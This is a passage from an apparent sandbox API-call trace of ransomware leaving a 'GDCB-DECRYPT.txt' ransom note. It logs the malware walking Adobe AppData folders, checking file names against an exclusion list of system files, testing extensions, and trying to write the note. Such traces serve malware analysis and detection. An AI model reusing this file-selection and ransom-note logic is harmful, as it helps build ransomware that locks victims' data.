Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0169.881] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 118 [0169.881] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.881] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0169.881] FindClose (in: hFindFile=0x5a4e58 | out: hFindFile=0x5a4e58) returned 1 [0169.881] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.881] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 119 [0169.881] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.882] GetLastError () returned 0x50 [0169.882] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 102 [0169.882] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0169.882] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4e58 [0169.882] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.882] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.882] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.882] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.882] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.882] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0169.882] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0169.882] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0169.882] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.882] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 109 [0169.882] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 109 [0169.882] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.882] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.882] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0169.882] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0169.882] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0169.882] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.883] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 117 [0169.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 117 [0169.883] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.883] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.883] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.883] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.883] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0169.883] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.883] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 118 [0169.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 118 [0169.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 118 [0169.883] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 118 [0169.883] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.883] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.883] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.883] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.883] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.883] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.883] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.883] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.883] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.883] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.883] FindNextFileW (in: hFindFile=0x5a4e58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0169.883] FindClose (in: hFindFile=0x5a4e58 | out: hFindFile=0x5a4e58) returned 1 [0169.884] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.884] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.884] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.884] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0169.884] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.884] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 111 [0169.884] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 111 [0169.884] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 111 [0169.884] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 111 [0169.884] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.884] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.884] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.884] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.884] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.884] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.884] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.884] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.884] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.884] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.884] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0169.884] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0169.884] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.884] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.884] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.884] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0169.884] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.884] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.885] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.885] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.885] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.885] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.885] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0169.885] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.885] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.885] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.885] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.885] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0169.885] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.885] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 100 [0169.885] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 100 [0169.885] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 100 [0169.885] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 100 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.885] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.885] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.886] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0169.886] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.886] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.886] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0169.886] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0169.886] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color" [0169.886] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\" [0169.886] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.886] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.886] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.886] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.886] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.886] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.886] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\") returned 82 [0169.886] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\*" [0169.886] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5a4918 [0169.886] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.886] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.886] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.886] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.886] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.886] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0169.886] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0169.887] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst" [0169.887] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 96 [0169.887] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.887] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.887] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.887] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.887] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0169.887] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 98 [0169.887] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.887] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.887] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0169.887] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0169.887] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\", lpString2="Profiles" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles" [0169.887] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\Profiles") returned 90 [0169.887] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0169.887] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.887] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.887] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt") returned 99 [0169.887] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\color\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.888] GetLastError () returned 0x50 [0169.888] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.888] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\") returned 82 [0169.888] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\*" [0169.888] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5a4e18 [0169.888] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.888] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.888] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.888] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.888] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.888] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0169.888] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0169.888] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst" [0169.888] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.888] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 96 [0169.888] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\ACECache11.lst") returned 96 [0169.888] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.888] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.888] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.888] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.888] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt" [0169.888] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.889] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 98 [0169.889] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 98 [0169.889] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color\\GDCB-DECRYPT.txt") returned 98 [0169.889] 